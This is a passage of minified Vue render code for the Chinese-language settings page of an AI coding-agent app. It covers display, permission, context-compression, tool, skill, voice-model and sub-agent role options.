仓库时,在输入栏上方显示分支和变更统计")],-1)),e("input",{type:"checkbox",checked:l(o).show_git_status_bar,onChange:s[39]||(s[39]=t=>l(i).updateField({key:"show_git_status_bar",value:t.target.checked}))},null,40,ll),p(v,{checked:l(o).show_git_status_bar},null,8,["checked"])]),e("label",ol,[s[150]||(s[150]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"自动打开终端面板"),e("span",{class:"settings-row-desc"},"创建终端时自动打开侧边栏终端面板")],-1)),e("input",{type:"checkbox",checked:l(o).auto_open_terminal_panel,onChange:s[40]||(s[40]=t=>l(i).updateField({key:"auto_open_terminal_panel",value:t.target.checked}))},null,40,il),p(v,{checked:l(o).auto_open_terminal_panel},null,8,["checked"])]),e("label",al,[s[151]||(s[151]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"快捷窗口自动展开"),e("span",{class:"settings-row-desc"},"有内容时自动展开快捷窗口;关闭后只能通过右侧按钮手动展开")],-1)),e("input",{type:"checkbox",checked:l(o).quick_dock_auto_expand,onChange:s[41]||(s[41]=t=>l(i).updateField({key:"quick_dock_auto_expand",value:t.target.checked}))},null,40,dl),p(v,{checked:l(o).quick_dock_auto_expand},null,8,["checked"])]),e("label",rl,[s[152]||(s[152]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"编辑摘要实时显示"),e("span",{class:"settings-row-desc"},"工作运行期间实时显示本次编辑过的文件;关闭时仅在每次工作完成后显示")],-1)),e("input",{type:"checkbox",checked:l(o).edit_summary_live_display,onChange:s[42]||(s[42]=t=>l(i).updateField({key:"edit_summary_live_display",value:t.target.checked}))},null,40,ul),p(v,{checked:l(o).edit_summary_live_display},null,8,["checked"])]),e("label",cl,[s[153]||(s[153]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"预览窗口自动换行显示"),e("span",{class:"settings-row-desc"},"文件预览按面板宽度自动换行;关闭时长行横向滚动")],-1)),e("input",{type:"checkbox",checked:l(o).file_preview_auto_wrap,onChange:s[43]||(s[43]=t=>l(i).updateField({key:"file_preview_auto_wrap",value:t.target.checked}))},null,40,pl),p(v,{checked:l(o).file_preview_auto_wrap},null,8,["checked"])]),e("div",gl,[s[156]||(s[156]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"堆叠块显示模式"),e("span",{class:"settings-row-desc"},"选择思考/工具块的显示方式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="block-display"}]),onClick:s[45]||(s[45]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[44]||(s[44]=t=>B("block-display"))},[_(a(zs.value)+" ",1),s[154]||(s[154]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(os,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:O.value===t.value}]),onClick:u=>mt(t.value)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[155]||(s[155]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,vl)),64))],6)],2)]),O.value==="stacked"?(d(),r("label",ml,[s[157]||(s[157]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"隐藏块间边线"),e("span",{class:"settings-row-desc"},"去掉堆叠块之间的分割线,更简洁")],-1)),e("input",{type:"checkbox",checked:ee.value,onChange:s[46]||(s[46]=t=>is(t))},null,40,kl),p(v,{checked:ee.value},null,8,["checked"])])):C("",!0),O.value==="minimal"?(d(),r("label",yl,[s[158]||(s[158]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"限制展开高度"),e("span",{class:"settings-row-desc"},"极简模式展开摘要行时限制最大高度,超出可在内部滚动")],-1)),e("input",{type:"checkbox",checked:se.value,onChange:s[47]||(s[47]=t=>as(t))},null,40,bl),p(v,{checked:se.value},null,8,["checked"])])):C("",!0),e("div",wl,[s[161]||(s[161]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"简略消息显示"),e("span",{class:"settings-row-desc"},"审核、子智能体等紧凑系统消息的显示形式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="compact-message"}]),onClick:s[49]||(s[49]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[48]||(s[48]=t=>B("compact-message"))},[_(a(Hs.value)+" ",1),s[159]||(s[159]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(ds,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:Qe.value===t.value}]),onClick:u=>Mt(t.value)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[160]||(s[160]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,_l)),64))],6)],2)])])):$.value==="workspace"?(d(),r("section",hl,[e("div",fl,[s[164]||(s[164]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"默认权限"),e("span",{class:"settings-row-desc"},"新建对话时的默认权限模式")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="permission"}]),onClick:s[51]||(s[51]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[50]||(s[50]=t=>B("permission"))},[_(a(Rs.value)+" ",1),s[162]||(s[162]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(He,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:l(o).default_permission_mode===t.id}]),onClick:u=>pt(t.id)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[163]||(s[163]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,Cl)),64))],6)],2)]),e("div",xl,[s[167]||(s[167]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"默认运行模式"),e("span",{class:"settings-row-desc"},"新建对话时的默认运行模式;计划模式下权限锁定为只读")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="work-mode"}]),onClick:s[53]||(s[53]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[52]||(s[52]=t=>B("work-mode"))},[_(a(Os.value)+" ",1),s[165]||(s[165]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(qe,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:l(o).default_work_mode===t.id}]),onClick:u=>gt(t.id)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[166]||(s[166]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,Ml)),64))],6)],2)]),e("label",Sl,[s[168]||(s[168]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"AGENTS.md 自动注入"),e("span",{class:"settings-row-desc"},"工作区根目录存在 AGENTS.md 时自动注入系统提示词")],-1)),e("input",{type:"checkbox",checked:l(o).agents_md_auto_inject,onChange:s[54]||(s[54]=t=>l(i).updateField({key:"agents_md_auto_inject",value:t.target.checked}))},null,40,$l),p(v,{checked:l(o).agents_md_auto_inject},null,8,["checked"])]),e("label",Fl,[s[169]||(s[169]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"文件修改留痕"),e("span",{class:"settings-row-desc"},"每次任务完成后,把本轮 write/edit 的文件修改以 diff 形式保存到工作区 .astrion/modify_history/,误操作(如被 git checkout 覆盖)后可据此人工恢复")],-1)),e("input",{type:"checkbox",checked:l(o).modify_history_enabled,onChange:s[55]||(s[55]=t=>l(i).updateField({key:"modify_history_enabled",value:t.target.checked}))},null,40,Bl),p(v,{checked:l(o).modify_history_enabled},null,8,["checked"])]),s[179]||(s[179]=e("div",{class:"settings-section-divider"},[e("span",{class:"settings-section-divider__label"},"版本控制")],-1)),e("label",Pl,[s[170]||(s[170]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"新对话默认开启版本控制"),e("span",{class:"settings-row-desc"},"创建新对话时自动启用,可在输入栏下方手动关闭")],-1)),e("input",{type:"checkbox",checked:l(o).versioning_enabled_by_default,onChange:s[56]||(s[56]=t=>l(i).updateField({key:"versioning_enabled_by_default",value:t.target.checked}))},null,40,Tl),p(v,{checked:l(o).versioning_enabled_by_default},null,8,["checked"])]),e("div",Al,[s[174]||(s[174]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"文件备份方式"),e("span",{class:"settings-row-desc"},"浅备份只记录 AI 编辑的文件,完全备份会保存整个工作区快照")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="versioning-backup-mode"}]),onClick:s[60]||(s[60]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[57]||(s[57]=t=>B("versioning-backup-mode"))},[_(a(js.value)+" ",1),s[171]||(s[171]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).versioning_backup_mode==="shallow"}]),onClick:s[58]||(s[58]=t=>ns("shallow"))},[...s[172]||(s[172]=[e("strong",null,"浅备份",-1),e("span",null,"速度快,只回溯被编辑过的文件",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2),e("button",{type:"button",class:c(["settings-menu-option",{selected:l(o).versioning_backup_mode==="full"}]),onClick:s[59]||(s[59]=t=>ns("full"))},[...s[173]||(s[173]=[e("strong",null,"完全备份",-1),e("span",null,"完整工作区快照,首次创建可能较慢",-1),e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1)])],2)],6)],2)]),s[180]||(s[180]=e("div",{class:"settings-section-divider"},[e("span",{class:"settings-section-divider__label"},"目标模式")],-1)),e("label",Dl,[s[175]||(s[175]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"审核智能体主动取证"),e("span",{class:"settings-row-desc"},"开启后可运行只读命令核实目标,关闭则仅依据对话判断")],-1)),e("input",{type:"checkbox",checked:l(o).goal_review_mode==="active",onChange:s[61]||(s[61]=t=>l(i).updateField({key:"goal_review_mode",value:t.target.checked?"active":"readonly"}))},null,40,Nl),p(v,{checked:l(o).goal_review_mode==="active"},null,8,["checked"])]),e("div",Il,[s[176]||(s[176]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"最大自动续命轮数"),e("span",{class:"settings-row-desc"},"主模型停下后最多自动继续 1-100 轮")],-1)),e("input",{type:"number",class:"settings-number-input",min:"1",max:"100",value:l(o).goal_max_turns,onChange:s[62]||(s[62]=t=>l(i).updateField({key:"goal_max_turns",value:hs(t.target.value)}))},null,40,Ll)]),e("label",Rl,[s[177]||(s[177]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"启用累计 token 上限"),e("span",{class:"settings-row-desc"},"累计输入输出超过上限时停止目标模式")],-1)),e("input",{type:"checkbox",checked:de.value,onChange:s[63]||(s[63]=t=>Cs(t.target.checked))},null,40,Ol),p(v,{checked:de.value},null,8,["checked"])]),de.value?(d(),r("div",jl,[s[178]||(s[178]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"累计 token 上限"),e("span",{class:"settings-row-desc"},"达到该累计消耗即停止目标模式")],-1)),e("input",{type:"number",class:"settings-number-input",min:"1000",step:"1000",value:l(o).goal_max_tokens||1e5,onChange:s[64]||(s[64]=t=>l(i).updateField({key:"goal_max_tokens",value:fs(t.target.value)}))},null,40,Vl)])):C("",!0)])):$.value==="context"?(d(),r("section",El,[e("label",Ul,[s[181]||(s[181]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"最近对话提示"),e("span",{class:"settings-row-desc"},"把当前工作区最近若干个非空对话注入系统提示词")],-1)),e("input",{type:"checkbox",checked:l(o).recent_conversations_prompt_enabled,onChange:s[65]||(s[65]=t=>l(i).updateField({key:"recent_conversations_prompt_enabled",value:t.target.checked}))},null,40,zl),p(v,{checked:l(o).recent_conversations_prompt_enabled},null,8,["checked"])]),l(o).recent_conversations_prompt_enabled?(d(),r("div",Hl,[s[182]||(s[182]=e("span",{class:"settings-row-title"},"最近对话注入数量",-1)),e("div",ql,[e("input",{type:"number",min:l(Re).min,max:l(Re).max,value:l(o).recent_conversations_prompt_limit,onInput:kt,onBlur:yt},null,40,Gl),e("button",{type:"button",onClick:bt}," 恢复默认 ")])])):C("",!0),e("div",Jl,[s[183]||(s[183]=e("span",{class:"settings-row-title"},"最大记忆注入",-1)),e("div",Wl,[e("input",{type:"number",min:l(ws),value:l(o).project_memory_inject_limit??"",placeholder:"无上限",onInput:wt,onBlur:_t},null,40,Ql),e("button",{type:"button",onClick:ht}," 恢复默认 ")])]),e("div",Kl,[s[193]||(s[193]=e("div",{class:"settings-group-title"},[e("span",{class:"settings-row-title"},"上下文压缩策略"),e("span",{class:"settings-row-desc"},"可分别控制自动浅层压缩与自动深层压缩")],-1)),e("label",Xl,[s[184]||(s[184]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"自动浅层压缩")],-1)),e("input",{type:"checkbox",checked:l(o).auto_shallow_compress_enabled,onChange:s[66]||(s[66]=t=>l(i).updateField({key:"auto_shallow_compress_enabled",value:t.target.checked}))},null,40,Yl),p(v,{checked:l(o).auto_shallow_compress_enabled},null,8,["checked"])]),e("label",Zl,[s[185]||(s[185]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"自动深层压缩")],-1)),e("input",{type:"checkbox",checked:l(o).auto_deep_compress_enabled,onChange:s[67]||(s[67]=t=>l(i).updateField({key:"auto_deep_compress_enabled",value:t.target.checked}))},null,40,eo),p(v,{checked:l(o).auto_deep_compress_enabled},null,8,["checked"])]),e("div",so,[e("label",null,[s[186]||(s[186]=e("span",null,"浅压缩触发上下文",-1)),e("input",{type:"number",value:l(o).shallow_compress_trigger_tokens??"",onInput:s[68]||(s[68]=t=>G("shallow_compress_trigger_tokens",t))},null,40,to)]),e("label",null,[s[187]||(s[187]=e("span",null,"浅压缩保留最近工具数",-1)),e("input",{type:"number",value:l(o).shallow_compress_keep_recent_tools??"",onInput:s[69]||(s[69]=t=>G("shallow_compress_keep_recent_tools",t))},null,40,no)]),e("label",null,[s[188]||(s[188]=e("span",null,"浅压缩保留当前轮工具数",-1)),e("input",{type:"number",value:l(o).shallow_compress_keep_user_turn_tools??"",onInput:s[70]||(s[70]=t=>G("shallow_compress_keep_user_turn_tools",t))},null,40,lo)]),e("label",null,[s[189]||(s[189]=e("span",null,"每轮最大替换数量",-1)),e("input",{type:"number",value:l(o).shallow_compress_max_replace_per_round??"",onInput:s[71]||(s[71]=t=>G("shallow_compress_max_replace_per_round",t))},null,40,oo)]),e("label",null,[s[190]||(s[190]=e("span",null,"工具调用间隔触发",-1)),e("input",{type:"number",value:l(o).shallow_compress_trigger_tool_calls_interval??"",onInput:s[72]||(s[72]=t=>G("shallow_compress_trigger_tool_calls_interval",t))},null,40,io)]),e("label",null,[s[191]||(s[191]=e("span",null,"深压缩触发上下文",-1)),e("input",{type:"number",value:l(o).deep_compress_trigger_tokens??"",onInput:s[73]||(s[73]=t=>G("deep_compress_trigger_tokens",t))},null,40,ao)])]),e("label",ro,[s[192]||(s[192]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"深压缩直接注入"),e("span",{class:"settings-row-desc"},"开启后直接注入历次压缩全文,关闭则只提示文件位置")],-1)),e("input",{type:"checkbox",checked:l(o).deep_compress_form==="inject",onChange:s[74]||(s[74]=t=>l(i).updateField({key:"deep_compress_form",value:t.target.checked?"inject":"file"}))},null,40,uo),p(v,{checked:l(o).deep_compress_form==="inject"},null,8,["checked"])]),e("div",{class:"settings-inline-actions right"},[e("button",{type:"button",class:"settings-secondary-button",onClick:ft}," 恢复压缩默认值 ")])])])):$.value==="tools"?(d(),r("section",co,[e("label",po,[s[194]||(s[194]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"静默禁用工具"),e("span",{class:"settings-row-desc"},"禁用工具时不再注入提示消息,模型不会感知被禁用项")],-1)),e("input",{type:"checkbox",checked:l(o).silent_tool_disable,onChange:s[75]||(s[75]=t=>l(i).updateField({key:"silent_tool_disable",value:t.target.checked}))},null,40,go),p(v,{checked:l(o).silent_tool_disable},null,8,["checked"])]),e("label",vo,[s[195]||(s[195]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"隐藏工具审核面板"),e("span",{class:"settings-row-desc"},"自动审核模式下,后台审核工具时不再自动展开审核面板")],-1)),e("input",{type:"checkbox",checked:l(o).hide_tool_approval_panel,onChange:s[76]||(s[76]=t=>l(i).updateField({key:"hide_tool_approval_panel",value:t.target.checked}))},null,40,mo),p(v,{checked:l(o).hide_tool_approval_panel},null,8,["checked"])]),e("label",ko,[s[196]||(s[196]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"工具意图提示"),e("span",{class:"settings-row-desc"},"调用工具时先用简短文字告诉你要做什么")],-1)),e("input",{type:"checkbox",checked:l(o).tool_intent_enabled,onChange:s[77]||(s[77]=t=>l(i).updateField({key:"tool_intent_enabled",value:t.target.checked}))},null,40,yo),p(v,{checked:l(o).tool_intent_enabled},null,8,["checked"])]),e("label",bo,[s[197]||(s[197]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"Skill 提示系统"),e("span",{class:"settings-row-desc"},"检测到特定关键词时自动提示模型阅读相关 skill")],-1)),e("input",{type:"checkbox",checked:l(o).skill_hints_enabled,onChange:s[78]||(s[78]=t=>l(i).updateField({key:"skill_hints_enabled",value:t.target.checked}))},null,40,wo),p(v,{checked:l(o).skill_hints_enabled},null,8,["checked"])]),e("div",_o,[s[202]||(s[202]=e("div",{class:"settings-group-title"},[e("span",{class:"settings-row-title"},"强约束系统"),e("span",{class:"settings-row-desc"},"仅对个人空间中已启用的 skill 生效")],-1)),e("label",ho,[s[198]||(s[198]=e("span",{class:"settings-row-title"},"Terminal 系列工具",-1)),e("input",{type:"checkbox",checked:l(o).skill_strict_terminal_enabled,onChange:s[79]||(s[79]=t=>l(i).updateField({key:"skill_strict_terminal_enabled",value:t.target.checked}))},null,40,fo),p(v,{checked:l(o).skill_strict_terminal_enabled},null,8,["checked"])]),e("label",Co,[s[199]||(s[199]=e("span",{class:"settings-row-title"},"子智能体系列工具",-1)),e("input",{type:"checkbox",checked:l(o).skill_strict_sub_agent_enabled,onChange:s[80]||(s[80]=t=>l(i).updateField({key:"skill_strict_sub_agent_enabled",value:t.target.checked}))},null,40,xo),p(v,{checked:l(o).skill_strict_sub_agent_enabled},null,8,["checked"])]),e("label",Mo,[s[200]||(s[200]=e("span",{class:"settings-row-title"},"run_command 前台模式",-1)),e("input",{type:"checkbox",checked:l(o).skill_strict_run_command_foreground_enabled,onChange:s[81]||(s[81]=t=>l(i).updateField({key:"skill_strict_run_command_foreground_enabled",value:t.target.checked}))},null,40,So),p(v,{checked:l(o).skill_strict_run_command_foreground_enabled},null,8,["checked"])]),e("label",$o,[s[201]||(s[201]=e("span",{class:"settings-row-title"},"run_command 后台模式",-1)),e("input",{type:"checkbox",checked:l(o).skill_strict_run_command_background_enabled,onChange:s[82]||(s[82]=t=>l(i).updateField({key:"skill_strict_run_command_background_enabled",value:t.target.checked}))},null,40,Fo),p(v,{checked:l(o).skill_strict_run_command_background_enabled},null,8,["checked"])])]),l(Le).length?(d(),r("div",Bo,[s[203]||(s[203]=e("div",{class:"settings-group-title"},[e("span",{class:"settings-row-title"},"可用 Skills"),e("span",{class:"settings-row-desc"},"勾选后会注入 system prompt,并同步到工作区的 .astrion/skills/ 目录")],-1)),e("div",Po,[(d(!0),r(w,null,F(l(Le),t=>(d(),r("label",{key:t.id,class:"settings-toggle-row inner"},[e("span",To,a(t.label),1),e("input",{type:"checkbox",checked:l(o).enabled_skills.includes(t.id),onChange:u=>l(i).toggleSkill(t.id)},null,40,Ao),p(v,{checked:l(o).enabled_skills.includes(t.id)},null,8,["checked"])]))),128))])])):C("",!0),l(Ie).length?(d(),r("div",Do,[s[204]||(s[204]=e("div",{class:"settings-group-title"},[e("span",{class:"settings-row-title"},"默认禁用工具类别"),e("span",{class:"settings-row-desc"},"选择后,这些类别在新任务中保持关闭")],-1)),e("div",No,[(d(!0),r(w,null,F(l(Ie),t=>(d(),r("label",{key:t.id,class:"settings-toggle-row inner"},[e("span",Io,a(t.label),1),e("input",{type:"checkbox",checked:l(o).disabled_tool_categories.includes(t.id),onChange:u=>Ct(t.id)},null,40,Lo),p(v,{checked:l(o).disabled_tool_categories.includes(t.id)},null,8,["checked"])]))),128))])])):C("",!0)])):$.value==="files"?(d(),r("section",Ro,[e("div",Oo,[s[207]||(s[207]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"图片压缩"),e("span",{class:"settings-row-desc"},"发送图片或调用 view_image 时自动等比缩放")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="image"}]),onClick:s[84]||(s[84]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[83]||(s[83]=t=>B("image"))},[_(a(Vs.value)+" ",1),s[205]||(s[205]=e("span",{class:"select-chevron","aria-hidden":"true"},null,-1))]),e("div",{class:c(["settings-floating-menu",{dark:f.value==="dark"}]),style:S(g.value?x.value:void 0)},[(d(),r(w,null,F(Je,t=>e("button",{key:t.id,type:"button",class:c(["settings-menu-option",{selected:l(o).image_compression===t.id}]),onClick:u=>vt(t.id)},[e("strong",null,a(t.label),1),e("span",null,a(t.desc),1),s[206]||(s[206]=e("svg",{viewBox:"0 0 24 24"},[e("path",{d:"M5 12.5 9.5 17 19 7"})],-1))],10,jo)),64))],6)],2)])])):$.value==="data"?(d(),r("section",Vo,[e("div",Eo,[s[213]||(s[213]=e("div",{class:"usage-summary-header"},[e("div",null,[e("p",{class:"usage-summary-eyebrow"},"对话用量"),e("h3",null,"用量统计"),e("p",{class:"usage-summary-desc"}," 累计统计所有对话的输入/输出 Token、对话数量、用户消息与工具调用 ")])],-1)),e("div",Uo,[e("div",zo,[s[208]||(s[208]=e("div",{class:"label"},"累计输入",-1)),e("div",Ho,a(l(Y)(j.value.total_input_tokens)),1)]),e("div",qo,[s[209]||(s[209]=e("div",{class:"label"},"累计输出",-1)),e("div",Go,a(l(Y)(j.value.total_output_tokens)),1)])]),e("div",Jo,[e("div",Wo,[s[210]||(s[210]=e("div",{class:"label"},"总对话数",-1)),e("div",Qo,a(l(Y)(j.value.total_conversations)),1)]),e("div",Ko,[s[211]||(s[211]=e("div",{class:"label"},"用户消息数",-1)),e("div",Xo,a(l(Y)(j.value.total_user_messages)),1)]),e("div",Yo,[s[212]||(s[212]=e("div",{class:"label"},"工具调用次数",-1)),e("div",Zo,a(l(Y)(j.value.total_tools)),1)])]),e("div",ei,[te.value?(d(),r("span",si,a(te.value),1)):V.value?(d(),r("span",ti,"正在同步最新统计...")):(d(),r("span",ni,"最近更新:"+a(qs.value),1)),e("button",{type:"button",class:"usage-summary-refresh",onClick:Xe,disabled:V.value},a(V.value?"刷新中...":"刷新数据"),9,li)])])])):$.value==="voice"?(d(),r("section",oi,[s[215]||(s[215]=e("div",{class:"settings-section",style:{"margin-bottom":"16px"}},[e("p",{class:"settings-section-desc",style:{margin:"0",color:"var(--text-secondary)","font-size":"13px","line-height":"1.6"}}," 端侧语音识别模型(SenseVoice int8),支持中英混说 + 自动标点。 模型约 228MB,仅在手机本地运行,无需网络。 ")],-1)),e("div",ii,[e("span",ai,[s[214]||(s[214]=e("span",{class:"settings-row-title"},"语音识别模型",-1)),e("span",di,[A.value?(d(),r(w,{key:0},[_("已下载 (228MB)")],64)):D.value?(d(),r(w,{key:1},[_("下载中 "+a(R.value)+"% — "+a(Z.value),1)],64)):L.value?(d(),r(w,{key:2},[_("下载不完整,请重新下载")],64)):(d(),r(w,{key:3},[_("未下载 — 点击下载")],64))])]),e("div",ri,[e("button",{type:"button",class:"settings-secondary-button",disabled:D.value,onClick:Bs},a(D.value?"下载中...":A.value?"重新下载":"下载模型"),9,ui),A.value||L.value?(d(),r("button",{key:0,type:"button",class:"settings-secondary-button",style:{color:"var(--state-error)"},disabled:D.value,onClick:Ps}," 删除 ",8,ci)):C("",!0)])]),D.value?(d(),r("div",pi,[e("div",gi,[e("div",{class:"voice-download-fill",style:S({width:R.value+"%"})},null,4)]),e("span",vi,a(R.value)+"%",1)])):C("",!0)])):$.value==="sub-agents"?(d(),r("section",mi,[s[231]||(s[231]=e("div",{class:"settings-section-desc",style:{margin:"0 0 16px",color:"var(--text-secondary)","font-size":"13px","line-height":"1.6"}}," 管理多智能体模式下的子智能体角色。预设角色可编辑(创建自定义覆盖),自定义角色可创建/编辑/删除。 ",-1)),e("div",ki,[s[216]||(s[216]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"上下文压缩阈值"),e("span",{class:"settings-row-desc"}," 子智能体上下文 tokens 超过此值时触发深度压缩(默认 150000) ")],-1)),e("div",yi,[vs(e("input",{type:"number",class:"settings-number-input","onUpdate:modelValue":s[85]||(s[85]=t=>ne.value=t),min:1e4,step:1e4,style:{width:"120px"}},null,512),[[ms,ne.value,void 0,{number:!0}]]),e("button",{type:"button",class:"settings-secondary-button",disabled:H.value,onClick:es},a(H.value?"保存中...":"保存"),9,bi)])]),e("div",wi,[s[217]||(s[217]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"最大执行轮次"),e("span",{class:"settings-row-desc"}," 传统后台子智能体单次任务的最大执行轮次(一轮 = 一次模型调用)。留空默认 50 轮;填 0 表示无上限(慎用,失控任务会持续消耗 API 额度)。多智能体模式的团队成员是长期协作角色,不受此限制 ")],-1)),e("div",_i,[vs(e("input",{type:"number",class:"settings-number-input","onUpdate:modelValue":s[86]||(s[86]=t=>z.value=t),min:0,step:10,placeholder:"50",style:{width:"120px"}},null,512),[[ms,z.value,void 0,{number:!0}]]),e("button",{type:"button",class:"settings-secondary-button",disabled:H.value,onClick:es},a(H.value?"保存中...":"保存"),9,hi)])]),e("div",fi,[s[218]||(s[218]=e("span",{class:"settings-section-title"},"角色列表",-1)),e("button",{type:"button",class:"settings-secondary-button",onClick:s[87]||(s[87]=t=>ss())}," + 新建角色 ")]),ye.value?(d(),r("div",Ci,"加载中...")):ke.value.length===0?(d(),r("div",xi," 暂无角色 ")):(d(),r("div",Mi,[(d(!0),r(w,null,F(ke.value,t=>(d(),r("div",{key:t.role_id,class:"sub-agent-role-card"},[e("div",Si,[e("div",$i,[_(a(t.name)+" ",1),e("span",{class:c(["sub-agent-role-tag",t.is_custom?"tag-custom":"tag-preset"])},a(t.is_custom?"自定义":"预设"),3)]),e("div",Fi,a(t.description||"无描述"),1),e("div",Bi,[_(" ID: "+a(t.role_id)+" · 思考模式: "+a(t.thinking_mode),1),t.model_key?(d(),r(w,{key:0},[_(" · 模型: "+a(t.model_key),1)],64)):C("",!0)])]),e("div",Pi,[e("button",{type:"button",class:"settings-secondary-button",onClick:u=>ss(t)},"编辑",8,Ti),t.is_custom?(d(),r("button",{key:0,type:"button",class:"settings-secondary-button danger",onClick:u=>tt(t)},"删除",8,Ai)):C("",!0)])]))),128))])),p(X,{name:"personal-page-fade",appear:""},{default:K(()=>[we.value?(d(),r("div",{key:0,class:"role-editor-drawer-overlay",onClick:b,onMousedown:Zs,onMouseup:et},[e("div",{class:"role-editor-drawer-card settings-redesign-card",style:{padding:"30px 42px 24px","border-radius":"32px"},onClick:s[99]||(s[99]=h(()=>{},["stop"]))},[e("div",Di,[e("h2",null,a(q.value?"编辑角色":"新建角色"),1),e("button",{type:"button",class:"settings-secondary-button",onClick:oe},"关闭")]),e("div",{class:"role-editor-body",onClick:b},[e("label",Ni,[s[219]||(s[219]=e("span",{class:"settings-row-title"},"角色 ID",-1)),q.value?(d(),r("span",Li,a(y.value.role_id),1)):(d(),r("input",{key:0,type:"text",value:y.value.role_id,maxlength:"40",placeholder:"英文小写下划线,如 api-designer",onInput:s[88]||(s[88]=t=>y.value.role_id=t.target.value)},null,40,Ii))]),e("label",Ri,[s[220]||(s[220]=e("span",{class:"settings-row-title"},"显示名",-1)),e("input",{type:"text",value:y.value.name,maxlength:"40",placeholder:"如 API Designer",onInput:s[89]||(s[89]=t=>y.value.name=t.target.value)},null,40,Oi)]),e("label",ji,[s[221]||(s[221]=e("span",{class:"settings-row-title"},"描述",-1)),e("input",{type:"text",value:y.value.description,maxlength:"100",placeholder:"一句话描述职责",onInput:s[90]||(s[90]=t=>y.value.description=t.target.value)},null,40,Vi)]),e("div",Ei,[s[225]||(s[225]=e("span",{class:"settings-row-copy"},[e("span",{class:"settings-row-title"},"思考模式"),e("span",{class:"settings-row-desc"},"fast = 快速响应,thinking = 思考推理")],-1)),e("div",{class:c(["settings-select-wrap",{open:g.value==="role-thinking"}]),onClick:s[94]||(s[94]=h(()=>{},["stop"]))},[e("button",{type:"button",class:"settings-select-button",onClick:s[91]||(s[91]=t=>B("role-thinking"))},[_(a(y.value.thinking_mode==="thinking"?"thinking":"fast")+" 